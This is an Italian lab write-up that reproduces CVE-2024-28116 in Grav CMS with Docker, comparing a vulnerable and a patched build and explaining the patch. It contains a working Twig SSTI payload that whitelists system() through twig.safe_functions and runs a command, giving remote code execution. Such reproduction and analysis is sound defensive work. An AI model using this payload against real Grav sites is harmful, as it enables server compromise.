
Analisi e riproduzione Docker di CVE-2024-28116 - SSTI con bypass della sandbox in Grav CMS
Analisi e riproduzione tramite Docker di CVE-2024-28116, una vulnerabilità di Server-Side Template Injection (SSTI) con bypass della sandbox di sicurezza nelle versioni di Grav CMS fino alla 1.7.44 inclusa, corretta nella versione 1.7.45.
Segnalata da: Maurizio Siddu (akabe1)
Punteggio CVSS v3.1: 8.8 (Alto)
Corretto in: Grav CMS 1.7.45
cd vulnerable
docker build -t grav-vulnerable .
docker run -d -p 8080:80 --name grav-test grav-vulnerable
Apri il browser su http://localhost:8080/admin e crea un account amministratore al primo accesso.
http://localhost:8080/admintest page e clicca su Continua{% set arr = {'1':'system', '2':'foo'} %}
{{ var_dump(grav.twig.twig_vars['config'].set('system.twig.safe_functions', arr)) }}
{{ system('id') }}
http://localhost:8080/test-pageQuesto conferma l'esecuzione remota di codice (RCE) come utente del server web.
docker stop grav-test
cd ../patched
docker build -t grav-patched .
docker run -d -p 8081:80 --name grav-patched grav-patched
Apri il browser su http://localhost:8081/admin e ripeti tutti i passaggi dell'exploit precedenti, puntando a http://localhost:8081/test-page.
La pagina sarà completamente vuota. Il metodo cleanDangerousTwig() in Security.php rileva e blocca la direttiva twig.safe_functions prima che raggiunga il motore Twig. La whitelist non viene mai modificata e il comando non viene mai eseguito.
La vulnerabilità si trova in system/src/Grav/Common/Twig.php. Grav implementa una sandbox per impedire che funzioni PHP pericolose vengano chiamate all'interno dei template Twig, basata su una blacklist controllata da isDangerousFunction(). Tuttavia, la sandbox non protegge l'oggetto Twig stesso. Un utente con livello editor può interagire con l'oggetto Twig tramite direttive di template appositamente create e sovrascrivere la whitelist system.twig.safe_functions in fase di esecuzione. Una volta che una funzione pericolosa come system() viene aggiunta alla whitelist, il controllo della sandbox viene bypassato e la funzione viene eseguita liberamente.
La patch aggiunge 'twig.safe_functions' all'elenco dei pattern bloccati all'interno del metodo cleanDangerousTwig() in system/src/Grav/Common/Security.php. Qualsiasi direttiva contenente questa stringa viene neutralizzata prima di raggiungere il motore Twig, rendendo impossibile per un editor modificare la whitelist dall'interno di un template.